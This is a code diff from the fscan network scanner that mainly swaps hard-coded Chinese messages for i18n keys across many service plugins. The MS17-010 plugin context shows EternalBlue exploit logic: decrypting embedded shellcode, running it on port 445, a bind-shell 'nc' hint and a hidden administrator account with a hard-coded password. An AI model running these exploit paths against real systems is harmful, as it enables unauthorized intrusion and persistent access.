@@ -202,7 +202,7 @@ func (p *FTPPlugin) testAnonymousAccess(ctx context.Context, info *common.HostIn
|
||||
_ = result.Conn.Close()
|
||||
|
||||
var output strings.Builder
|
||||
output.WriteString(fmt.Sprintf("FTP %s 匿名访问 - %s:%s", target, cred.Username, cred.Password))
|
||||
output.WriteString(i18n.Tr("ftp_anonymous_access_detail", target, cred.Username, cred.Password))
|
||||
if len(fileList) > 0 {
|
||||
for _, file := range fileList {
|
||||
output.WriteString(fmt.Sprintf("\n [->] %s", file))
|
||||
@@ -216,7 +216,7 @@ func (p *FTPPlugin) testAnonymousAccess(ctx context.Context, info *common.HostIn
|
||||
Service: "ftp",
|
||||
Username: cred.Username,
|
||||
Password: cred.Password,
|
||||
Banner: "FTP匿名访问",
|
||||
Banner: i18n.GetText("ftp_anonymous_banner"),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -254,7 +254,7 @@ func (p *KafkaPlugin) identifyService(ctx context.Context, info *common.HostInfo
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
if p.isKafkaError(err) {
|
||||
banner := "Kafka (需要认证)"
|
||||
banner := i18n.GetText("kafka_auth_required")
|
||||
common.LogSuccess(i18n.Tr("kafka_service", target, banner))
|
||||
return &ScanResult{Type: plugins.ResultTypeService, Success: true, Service: "kafka", Banner: banner}
|
||||
}
|
||||
|
||||
@@ -102,7 +102,7 @@ func (p *LDAPPlugin) doLDAPAuth(ctx context.Context, info *common.HostInfo, cred
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeAuth,
|
||||
Error: fmt.Errorf("所有DN格式都失败"),
|
||||
Error: fmt.Errorf("%s", i18n.GetText("ldap_all_dn_failed")),
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -42,7 +42,7 @@ func (p *MemcachedPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "memcached",
|
||||
Error: fmt.Errorf("无法访问Memcached服务"),
|
||||
Error: fmt.Errorf("%s", i18n.GetText("memcached_access_failed")),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -121,7 +121,7 @@ func (p *MemcachedPlugin) identifyService(ctx context.Context, info *common.Host
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "memcached",
|
||||
Error: fmt.Errorf("无法连接到Memcached服务"),
|
||||
Error: fmt.Errorf("%s", i18n.GetText("memcached_connect_failed")),
|
||||
}
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
@@ -49,7 +49,7 @@ func (p *MongoDBPlugin) Scan(ctx context.Context, info *common.HostInfo, session
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Success: true,
|
||||
Service: "mongodb",
|
||||
VulInfo: "未授权访问",
|
||||
VulInfo: i18n.GetText("unauthorized_access"),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -148,9 +148,9 @@ func (p *MongoDBPlugin) doMongoDBAuth(ctx context.Context, info *common.HostInfo
|
||||
// ── MongoDB wire protocol 工具 ──────────────────────────────────
|
||||
|
||||
const (
|
||||
opMsg uint32 = 2013
|
||||
opQuery uint32 = 2004
|
||||
opReply uint32 = 1
|
||||
opMsg uint32 = 2013
|
||||
opQuery uint32 = 2004
|
||||
opReply uint32 = 1
|
||||
)
|
||||
|
||||
var mongoRequestID uint32
|
||||
@@ -376,11 +376,11 @@ func (p *MongoDBPlugin) identifyService(ctx context.Context, info *common.HostIn
|
||||
|
||||
if isUnauth {
|
||||
common.LogVuln(i18n.Tr("mongodb_unauth", target))
|
||||
return &ScanResult{Type: plugins.ResultTypeVuln, Success: true, Service: "mongodb", VulInfo: "未授权访问"}
|
||||
return &ScanResult{Type: plugins.ResultTypeVuln, Success: true, Service: "mongodb", VulInfo: i18n.GetText("unauthorized_access")}
|
||||
}
|
||||
|
||||
common.LogSuccess(i18n.Tr("mongodb_auth_required", target))
|
||||
return &ScanResult{Type: plugins.ResultTypeService, Success: true, Service: "mongodb", Banner: "需要认证"}
|
||||
return &ScanResult{Type: plugins.ResultTypeService, Success: true, Service: "mongodb", Banner: i18n.GetText("auth_required")}
|
||||
}
|
||||
|
||||
func (p *MongoDBPlugin) mongodbUnauth(ctx context.Context, info *common.HostInfo, session *common.ScanSession) (bool, error) {
|
||||
@@ -439,7 +439,7 @@ func (p *MongoDBPlugin) checkMongoAuth(ctx context.Context, address string, pack
|
||||
}
|
||||
|
||||
if count == 0 {
|
||||
return "", fmt.Errorf("收到空响应")
|
||||
return "", fmt.Errorf("%s", i18n.GetText("empty_response_received"))
|
||||
}
|
||||
|
||||
return string(reply[:count]), nil
|
||||
|
||||
+47
-47
@@ -43,7 +43,7 @@ func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, session
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "ms17010",
|
||||
Error: fmt.Errorf("MS17010漏洞检测仅支持445端口"),
|
||||
Error: fmt.Errorf("%s", i18n.GetText("ms17010_port_only")),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -71,14 +71,14 @@ func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, session
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Service: "ms17010",
|
||||
Banner: fmt.Sprintf("MS17-010漏洞 (%s)", osVersion),
|
||||
Banner: i18n.Tr("ms17010_vuln_banner", osVersion),
|
||||
}
|
||||
}
|
||||
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "ms17010",
|
||||
Error: fmt.Errorf("目标不存在MS17-010漏洞"),
|
||||
Error: fmt.Errorf("%s", i18n.GetText("ms17010_not_vulnerable")),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -89,12 +89,12 @@ func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, cred
|
||||
common.LogSuccess(i18n.Tr("ms17010_start", target))
|
||||
|
||||
var output strings.Builder
|
||||
output.WriteString(fmt.Sprintf("=== MS17-010漏洞利用结果 - %s ===\n", target))
|
||||
output.WriteString(i18n.Tr("ms17010_exploit_header", target) + "\n")
|
||||
|
||||
// 首先确认漏洞存在
|
||||
vulnerable, osVersion, hasBackdoor, err := p.checkMS17010Vulnerability(ctx, info.Host, session)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("\n[漏洞检测失败] %v\n", err))
|
||||
output.WriteString("\n" + i18n.Tr("ms17010_exploit_check_failed", err) + "\n")
|
||||
return &ExploitResult{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
@@ -103,58 +103,58 @@ func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, cred
|
||||
}
|
||||
|
||||
if !vulnerable {
|
||||
output.WriteString("\n[漏洞状态] 目标不存在MS17-010漏洞\n")
|
||||
output.WriteString("\n" + i18n.GetText("ms17010_exploit_not_vulnerable") + "\n")
|
||||
return &ExploitResult{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: fmt.Errorf("目标不存在MS17-010漏洞"),
|
||||
Error: fmt.Errorf("%s", i18n.GetText("ms17010_not_vulnerable")),
|
||||
}
|
||||
}
|
||||
|
||||
output.WriteString("\n[漏洞确认] ✅ MS17-010漏洞存在\n")
|
||||
output.WriteString("\n" + i18n.GetText("ms17010_exploit_confirmed") + "\n")
|
||||
if osVersion != "" {
|
||||
output.WriteString(fmt.Sprintf("[操作系统] %s\n", osVersion))
|
||||
output.WriteString(i18n.Tr("ms17010_exploit_os", osVersion) + "\n")
|
||||
}
|
||||
|
||||
if hasBackdoor {
|
||||
output.WriteString("\n[后门检测] ⚠️ 发现DOUBLEPULSAR后门\n")
|
||||
output.WriteString("\n" + i18n.GetText("ms17010_exploit_backdoor_found") + "\n")
|
||||
} else {
|
||||
output.WriteString("\n[后门检测] 未发现DOUBLEPULSAR后门\n")
|
||||
output.WriteString("\n" + i18n.GetText("ms17010_exploit_backdoor_not_found") + "\n")
|
||||
}
|
||||
|
||||
// 如果有Shellcode配置,执行实际利用
|
||||
if config.Shellcode != "" {
|
||||
output.WriteString(fmt.Sprintf("\n[利用模式] %s\n", config.Shellcode))
|
||||
output.WriteString("[利用状态] 开始执行EternalBlue攻击...\n")
|
||||
output.WriteString("\n" + i18n.Tr("ms17010_exploit_mode", config.Shellcode) + "\n")
|
||||
output.WriteString(i18n.GetText("ms17010_exploit_start_attack") + "\n")
|
||||
|
||||
// 执行实际的MS17010利用
|
||||
err = p.executeMS17010Exploit(info, session)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("[利用结果] ❌ 利用失败: %v\n", err))
|
||||
output.WriteString(i18n.Tr("ms17010_exploit_failed", err) + "\n")
|
||||
return &ExploitResult{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
output.WriteString("[利用结果] ✅ 漏洞利用成功完成\n")
|
||||
output.WriteString(i18n.GetText("ms17010_exploit_success") + "\n")
|
||||
|
||||
// 根据不同类型提供后续操作建议
|
||||
switch config.Shellcode {
|
||||
case "bind":
|
||||
output.WriteString("\n[连接建议] 使用以下命令连接Bind Shell:\n")
|
||||
output.WriteString("\n" + i18n.GetText("ms17010_exploit_bind_hint") + "\n")
|
||||
output.WriteString(fmt.Sprintf(" nc %s 64531\n", info.Host))
|
||||
case "add":
|
||||
output.WriteString("\n[访问建议] 已添加管理员账户,可以通过以下方式连接:\n")
|
||||
output.WriteString(" 用户名: sysadmin 密码: 1qaz@WSX!@#4\n")
|
||||
output.WriteString("\n" + i18n.GetText("ms17010_exploit_add_hint") + "\n")
|
||||
output.WriteString(i18n.GetText("ms17010_exploit_add_credential") + "\n")
|
||||
output.WriteString(fmt.Sprintf(" RDP: mstsc /v:%s\n", info.Host))
|
||||
case "guest":
|
||||
output.WriteString("\n[访问建议] 已激活Guest账户,可以直接远程连接\n")
|
||||
output.WriteString("\n" + i18n.GetText("ms17010_exploit_guest_hint") + "\n")
|
||||
}
|
||||
} else {
|
||||
output.WriteString("\n[利用模式] 仅检测模式 (未配置Shellcode)\n")
|
||||
output.WriteString("[建议] 可使用 -sc 参数配置Shellcode进行实际利用\n")
|
||||
output.WriteString(" 支持的模式: bind, add, guest 或自定义shellcode\n")
|
||||
output.WriteString("\n" + i18n.GetText("ms17010_exploit_detect_only") + "\n")
|
||||
output.WriteString(i18n.GetText("ms17010_exploit_shellcode_hint") + "\n")
|
||||
output.WriteString(i18n.GetText("ms17010_exploit_supported_modes") + "\n")
|
||||
}
|
||||
|
||||
common.LogSuccess(i18n.Tr("ms17010_complete", target))
|
||||
@@ -171,17 +171,17 @@ func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, cred
|
||||
func aesDecrypt(crypted string, key string) (string, error) {
|
||||
cryptedBytes, err := base64.StdEncoding.DecodeString(crypted)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("base64解码失败: %w", err)
|
||||
return "", fmt.Errorf("%s: %w", i18n.GetText("ms17010_base64_decode_failed"), err)
|
||||
}
|
||||
|
||||
keyBytes := []byte(key)
|
||||
block, err := aes.NewCipher(keyBytes)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("创建AES密码块失败: %w", err)
|
||||
return "", fmt.Errorf("%s: %w", i18n.GetText("ms17010_aes_cipher_failed"), err)
|
||||
}
|
||||
|
||||
if len(cryptedBytes) < aes.BlockSize {
|
||||
return "", fmt.Errorf("密文长度过短")
|
||||
return "", fmt.Errorf("%s", i18n.GetText("ms17010_ciphertext_too_short"))
|
||||
}
|
||||
|
||||
mode := cipher.NewCBCDecrypter(block, keyBytes[:aes.BlockSize])
|
||||
@@ -190,12 +190,12 @@ func aesDecrypt(crypted string, key string) (string, error) {
|
||||
// 移除PKCS7填充
|
||||
padding := int(cryptedBytes[len(cryptedBytes)-1])
|
||||
if padding > len(cryptedBytes) || padding > aes.BlockSize {
|
||||
return "", fmt.Errorf("无效的填充")
|
||||
return "", fmt.Errorf("%s", i18n.GetText("ms17010_invalid_padding"))
|
||||
}
|
||||
|
||||
for i := len(cryptedBytes) - padding; i < len(cryptedBytes); i++ {
|
||||
if cryptedBytes[i] != byte(padding) {
|
||||
return "", fmt.Errorf("填充验证失败")
|
||||
return "", fmt.Errorf("%s", i18n.GetText("ms17010_padding_check_failed"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -293,42 +293,42 @@ func (p *MS17010Plugin) checkMS17010Vulnerability(ctx context.Context, ip string
|
||||
func (p *MS17010Plugin) checkMS17010VulnerabilityAt(ctx context.Context, address string, session *common.ScanSession) (bool, string, bool, error) {
|
||||
conn, err := session.DialTCP(ctx, "tcp", address, session.Config.Timeout)
|
||||
if err != nil {
|
||||
return false, "", false, fmt.Errorf("连接错误: %w", err)
|
||||
return false, "", false, fmt.Errorf("%s: %w", i18n.GetText("ms17010_connection_error"), err)
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
if err = conn.SetDeadline(time.Now().Add(session.Config.Timeout)); err != nil {
|
||||
return false, "", false, fmt.Errorf("设置超时错误: %w", err)
|
||||
return false, "", false, fmt.Errorf("%s: %w", i18n.GetText("ms17010_set_timeout_error"), err)
|
||||
}
|
||||
|
||||
// SMB协议协商
|
||||
if _, err = conn.Write(negotiateProtocolRequest); err != nil {
|
||||
return false, "", false, fmt.Errorf("发送协议请求错误: %w", err)
|
||||
return false, "", false, fmt.Errorf("%s: %w", i18n.GetText("ms17010_send_protocol_error"), err)
|
||||
}
|
||||
|
||||
reply := make([]byte, 1024)
|
||||
n, readErr := conn.Read(reply)
|
||||
if readErr != nil || n < 36 {
|
||||
// 连接被关闭或响应不完整,通常表示目标不支持SMBv1
|
||||
return false, "", false, fmt.Errorf("目标可能不支持SMBv1")
|
||||
return false, "", false, fmt.Errorf("%s", i18n.GetText("ms17010_smbv1_unsupported"))
|
||||
}
|
||||
|
||||
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
||||
return false, "", false, fmt.Errorf("SMBv1协议协商被拒绝")
|
||||
return false, "", false, fmt.Errorf("%s", i18n.GetText("ms17010_smbv1_rejected"))
|
||||
}
|
||||
|
||||
// 建立会话
|
||||
if _, err = conn.Write(sessionSetupRequest); err != nil {
|
||||
return false, "", false, fmt.Errorf("发送会话请求错误: %w", err)
|
||||
return false, "", false, fmt.Errorf("%s: %w", i18n.GetText("ms17010_send_session_error"), err)
|
||||
}
|
||||
|
||||
n, readErr = conn.Read(reply)
|
||||
if readErr != nil || n < 36 {
|
||||
return false, "", false, fmt.Errorf("SMB会话建立失败")
|
||||
return false, "", false, fmt.Errorf("%s", i18n.GetText("ms17010_session_failed"))
|
||||
}
|
||||
|
||||
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
||||
return false, "", false, fmt.Errorf("SMB会话被拒绝")
|
||||
return false, "", false, fmt.Errorf("%s", i18n.GetText("ms17010_session_rejected"))
|
||||
}
|
||||
|
||||
// 提取系统信息
|
||||
@@ -354,15 +354,15 @@ func (p *MS17010Plugin) checkMS17010VulnerabilityAt(ctx context.Context, address
|
||||
treeConnect[33] = userID[1]
|
||||
|
||||
if _, err = conn.Write(treeConnect); err != nil {
|
||||
return false, osVersion, false, fmt.Errorf("发送树连接请求错误: %w", err)
|
||||
return false, osVersion, false, fmt.Errorf("%s: %w", i18n.GetText("ms17010_send_tree_error"), err)
|
||||
}
|
||||
|
||||
n, readErr = conn.Read(reply)
|
||||
if readErr != nil || n < 36 {
|
||||
if readErr != nil {
|
||||
return false, osVersion, false, fmt.Errorf("读取树连接响应错误: %w", readErr)
|
||||
return false, osVersion, false, fmt.Errorf("%s: %w", i18n.GetText("ms17010_read_tree_error"), readErr)
|
||||
}
|
||||
return false, osVersion, false, fmt.Errorf("树连接响应不完整")
|
||||
return false, osVersion, false, fmt.Errorf("%s", i18n.GetText("ms17010_tree_response_incomplete"))
|
||||
}
|
||||
|
||||
// 命名管道请求
|
||||
@@ -374,15 +374,15 @@ func (p *MS17010Plugin) checkMS17010VulnerabilityAt(ctx context.Context, address
|
||||
transNamedPipe[33] = userID[1]
|
||||
|
||||
if _, err = conn.Write(transNamedPipe); err != nil {
|
||||
return false, osVersion, false, fmt.Errorf("发送管道请求错误: %w", err)
|
||||
return false, osVersion, false, fmt.Errorf("%s: %w", i18n.GetText("ms17010_send_pipe_error"), err)
|
||||
}
|
||||
|
||||
n, readErr = conn.Read(reply)
|
||||
if readErr != nil || n < 36 {
|
||||
if readErr != nil {
|
||||
return false, osVersion, false, fmt.Errorf("读取管道响应错误: %w", readErr)
|
||||
return false, osVersion, false, fmt.Errorf("%s: %w", i18n.GetText("ms17010_read_pipe_error"), readErr)
|
||||
}
|
||||
return false, osVersion, false, fmt.Errorf("管道响应不完整")
|
||||
return false, osVersion, false, fmt.Errorf("%s", i18n.GetText("ms17010_pipe_response_incomplete"))
|
||||
}
|
||||
|
||||
// 漏洞检测 - 关键检查点
|
||||
@@ -420,7 +420,7 @@ func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, session *co
|
||||
var err error
|
||||
sc, err = aesDecrypt(scEnc, defaultKey)
|
||||
if err != nil {
|
||||
return fmt.Errorf("解密bind shellcode失败: %w", err)
|
||||
return fmt.Errorf("%s: %w", i18n.GetText("ms17010_bind_shellcode_decrypt_failed"), err)
|
||||
}
|
||||
|
||||
case "add":
|
||||
@@ -429,7 +429,7 @@ func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, session *co
|
||||
var err error
|
||||
sc, err = aesDecrypt(scEnc, defaultKey)
|
||||
if err != nil {
|
||||
return fmt.Errorf("解密add shellcode失败: %w", err)
|
||||
return fmt.Errorf("%s: %w", i18n.GetText("ms17010_add_shellcode_decrypt_failed"), err)
|
||||
}
|
||||
|
||||
case "guest":
|
||||
@@ -438,7 +438,7 @@ func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, session *co
|
||||
var err error
|
||||
sc, err = aesDecrypt(scEnc, defaultKey)
|
||||
if err != nil {
|
||||
return fmt.Errorf("解密guest shellcode失败: %w", err)
|
||||
return fmt.Errorf("%s: %w", i18n.GetText("ms17010_guest_shellcode_decrypt_failed"), err)
|
||||
}
|
||||
|
||||
case "cs":
|
||||
@@ -450,7 +450,7 @@ func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, session *co
|
||||
if strings.Contains(shellcode, "file:") {
|
||||
read, err := os.ReadFile(shellcode[5:])
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取Shellcode文件失败: %w", err)
|
||||
return fmt.Errorf("%s: %w", i18n.GetText("ms17010_shellcode_file_read_failed"), err)
|
||||
}
|
||||
sc = fmt.Sprintf("%x", read)
|
||||
} else {
|
||||
@@ -460,13 +460,13 @@ func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, session *co
|
||||
|
||||
// 验证shellcode有效性
|
||||
if len(sc) < 20 {
|
||||
return fmt.Errorf("无效的Shellcode")
|
||||
return fmt.Errorf("%s", i18n.GetText("ms17010_invalid_shellcode"))
|
||||
}
|
||||
|
||||
// 解码shellcode
|
||||
scBytes, err := hex.DecodeString(sc)
|
||||
if err != nil {
|
||||
return fmt.Errorf("shellcode解码失败: %w", err)
|
||||
return fmt.Errorf("%s: %w", i18n.GetText("ms17010_shellcode_decode_failed"), err)
|
||||
}
|
||||
|
||||
if err = eternalBlue(net.JoinHostPort(info.Host, "445"), 12, 12, scBytes); err != nil {
|
||||
|
||||
@@ -117,7 +117,7 @@ func (p *Neo4jPlugin) doNeo4jAuth(ctx context.Context, info *common.HostInfo, cr
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: fmt.Errorf("未知错误,状态码: %d", resp.StatusCode),
|
||||
Error: fmt.Errorf(i18n.GetText("unknown_status_code")+": %d", resp.StatusCode),
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+15
-14
@@ -11,6 +11,7 @@ import (
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
@@ -39,7 +40,7 @@ func (p *NetBIOSPlugin) Scan(ctx context.Context, info *common.HostInfo, session
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "netbios",
|
||||
Error: fmt.Errorf("NetBIOS插件仅支持137和139端口"),
|
||||
Error: fmt.Errorf("%s", i18n.GetText("netbios_port_only")),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -66,7 +67,7 @@ func (p *NetBIOSPlugin) Scan(ctx context.Context, info *common.HostInfo, session
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "netbios",
|
||||
Error: fmt.Errorf("未发现有效的NetBIOS信息"),
|
||||
Error: fmt.Errorf("%s", i18n.GetText("netbios_info_not_found")),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -79,7 +80,7 @@ func (p *NetBIOSPlugin) Scan(ctx context.Context, info *common.HostInfo, session
|
||||
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeService,
|
||||
Type: plugins.ResultTypeService,
|
||||
Service: "netbios",
|
||||
Banner: netbiosInfo.Summary(),
|
||||
}
|
||||
@@ -164,7 +165,7 @@ func (p *NetBIOSPlugin) queryNetBIOSNames(host string, config *common.Config, st
|
||||
|
||||
conn, err := net.DialTimeout("udp", target, config.Timeout)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("连接NetBIOS名称服务失败: %w", err)
|
||||
return nil, fmt.Errorf("%s: %w", i18n.GetText("netbios_name_connect_failed"), err)
|
||||
}
|
||||
state.IncrementUDPPacketCount()
|
||||
defer func() { _ = conn.Close() }()
|
||||
@@ -173,13 +174,13 @@ func (p *NetBIOSPlugin) queryNetBIOSNames(host string, config *common.Config, st
|
||||
|
||||
_, err = conn.Write(queryPacket)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("发送NetBIOS查询失败: %w", err)
|
||||
return nil, fmt.Errorf("%s: %w", i18n.GetText("netbios_query_send_failed"), err)
|
||||
}
|
||||
|
||||
response := make([]byte, 1024)
|
||||
n, err := conn.Read(response)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("读取NetBIOS响应失败: %w", err)
|
||||
return nil, fmt.Errorf("%s: %w", i18n.GetText("netbios_response_read_failed"), err)
|
||||
}
|
||||
|
||||
return p.parseNetBIOSNames(response[:n])
|
||||
@@ -191,7 +192,7 @@ func (p *NetBIOSPlugin) queryNetBIOSSession(ctx context.Context, host string, se
|
||||
|
||||
conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("连接NetBIOS会话服务失败: %w", err)
|
||||
return nil, fmt.Errorf("%s: %w", i18n.GetText("netbios_session_connect_failed"), err)
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
@@ -212,13 +213,13 @@ func (p *NetBIOSPlugin) queryNetBIOSSession(ctx context.Context, host string, se
|
||||
|
||||
_, err = conn.Write(smbNegotiate1)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("发送SMB协商1失败: %w", err)
|
||||
return nil, fmt.Errorf("%s: %w", i18n.GetText("netbios_smb_negotiate_send_failed"), err)
|
||||
}
|
||||
|
||||
response1 := make([]byte, 1024)
|
||||
_, err = conn.Read(response1)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("读取SMB协商1响应失败: %w", err)
|
||||
return nil, fmt.Errorf("%s: %w", i18n.GetText("netbios_smb_negotiate_read_failed"), err)
|
||||
}
|
||||
|
||||
// 发送Session Setup请求
|
||||
@@ -244,13 +245,13 @@ func (p *NetBIOSPlugin) queryNetBIOSSession(ctx context.Context, host string, se
|
||||
|
||||
_, err = conn.Write(smbSessionSetup)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("发送SMB Session Setup失败: %w", err)
|
||||
return nil, fmt.Errorf("%s: %w", i18n.GetText("netbios_smb_session_send_failed"), err)
|
||||
}
|
||||
|
||||
response2 := make([]byte, 2048)
|
||||
n, err := conn.Read(response2)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("读取SMB Session Setup响应失败: %w", err)
|
||||
return nil, fmt.Errorf("%s: %w", i18n.GetText("netbios_smb_session_read_failed"), err)
|
||||
}
|
||||
|
||||
return p.parseNetBIOSSession(response2[:n])
|
||||
@@ -261,13 +262,13 @@ func (p *NetBIOSPlugin) parseNetBIOSNames(data []byte) (*NetBIOSInfo, error) {
|
||||
info := &NetBIOSInfo{Valid: false}
|
||||
|
||||
if len(data) < 57 {
|
||||
return info, fmt.Errorf("NetBIOS响应数据过短")
|
||||
return info, fmt.Errorf("%s", i18n.GetText("netbios_response_too_short"))
|
||||
}
|
||||
|
||||
// 获取名称记录数量
|
||||
numNames := int(data[56])
|
||||
if numNames == 0 {
|
||||
return info, fmt.Errorf("没有NetBIOS名称记录")
|
||||
return info, fmt.Errorf("%s", i18n.GetText("netbios_no_name_records"))
|
||||
}
|
||||
|
||||
nameData := data[57:]
|
||||
@@ -333,7 +334,7 @@ func (p *NetBIOSPlugin) parseNetBIOSSession(data []byte) (*NetBIOSInfo, error) {
|
||||
info := &NetBIOSInfo{Valid: false}
|
||||
|
||||
if len(data) < 47 {
|
||||
return info, fmt.Errorf("SMB响应数据过短")
|
||||
return info, fmt.Errorf("%s", i18n.GetText("netbios_smb_response_too_short"))
|
||||
}
|
||||
|
||||
info.Valid = true
|
||||
|
||||
@@ -101,7 +101,7 @@ func (p *OraclePlugin) doOracleAuth(ctx context.Context, info *common.HostInfo,
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeNetwork,
|
||||
Error: fmt.Errorf("无法连接到Oracle数据库"),
|
||||
Error: fmt.Errorf("%s", i18n.GetText("oracle_connect_failed")),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -155,7 +155,7 @@ func (p *OraclePlugin) testUnauthorizedAccess(ctx context.Context, info *common.
|
||||
Service: "oracle",
|
||||
Username: cred.Username,
|
||||
Password: cred.Password,
|
||||
Banner: "未授权访问 - 默认账户",
|
||||
Banner: i18n.GetText("oracle_default_account_banner"),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -184,11 +184,11 @@ func (p *PostgreSQLPlugin) testUnauthorizedAccess(ctx context.Context, info *com
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Success: true,
|
||||
Service: "postgresql",
|
||||
VulInfo: "未授权访问(trust认证)",
|
||||
VulInfo: i18n.GetText("postgresql_trust_unauth"),
|
||||
}
|
||||
}
|
||||
|
||||
vulInfo := fmt.Sprintf("未授权访问(trust认证) - %s", version)
|
||||
vulInfo := i18n.Tr("postgresql_trust_unauth_version", version)
|
||||
if len(vulInfo) > 100 {
|
||||
vulInfo = vulInfo[:100] + "..."
|
||||
}
|
||||
|
||||
@@ -126,7 +126,7 @@ func (p *RabbitMQPlugin) doRabbitMQAuth(ctx context.Context, info *common.HostIn
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: fmt.Errorf("意外响应状态码: %d", resp.StatusCode),
|
||||
Error: fmt.Errorf(i18n.GetText("unexpected_status_code")+": %d", resp.StatusCode),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -198,7 +198,7 @@ func (p *RabbitMQPlugin) testUnauthorizedAccess(ctx context.Context, info *commo
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Success: true,
|
||||
Service: "rabbitmq",
|
||||
Banner: "未授权访问 - guest默认密码",
|
||||
Banner: i18n.GetText("rabbitmq_guest_default_password"),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -75,7 +75,7 @@ func (p *RDPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co
|
||||
common.LogSuccess(i18n.Tr("rdp_service", target, banner))
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeService,
|
||||
Type: plugins.ResultTypeService,
|
||||
Service: "rdp",
|
||||
Banner: banner,
|
||||
}
|
||||
@@ -130,7 +130,7 @@ func (p *RDPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co
|
||||
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeCredential,
|
||||
Type: plugins.ResultTypeCredential,
|
||||
Service: "rdp",
|
||||
Username: cred.Username,
|
||||
Password: cred.Password,
|
||||
@@ -144,7 +144,7 @@ func (p *RDPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "rdp",
|
||||
Error: fmt.Errorf("RDP端口未开放"),
|
||||
Error: fmt.Errorf("%s", i18n.GetText("rdp_port_closed")),
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -242,7 +242,7 @@ func (p *RDPPlugin) logOSInfo(target string, osInfo map[string]any) {
|
||||
// buildBanner 构建服务识别Banner
|
||||
func (p *RDPPlugin) buildBanner(osInfo map[string]any) string {
|
||||
if len(osInfo) == 0 {
|
||||
return "RDP远程桌面服务"
|
||||
return i18n.GetText("rdp_remote_desktop_service")
|
||||
}
|
||||
|
||||
osVersion := p.extractStringField(osInfo, "OsVerion")
|
||||
@@ -256,7 +256,7 @@ func (p *RDPPlugin) buildBanner(osInfo map[string]any) string {
|
||||
return fmt.Sprintf("RDP (Hostname:%s)", hostname)
|
||||
}
|
||||
|
||||
return "RDP远程桌面服务"
|
||||
return i18n.GetText("rdp_remote_desktop_service")
|
||||
}
|
||||
|
||||
// extractStringField 安全提取字符串字段
|
||||
|
||||
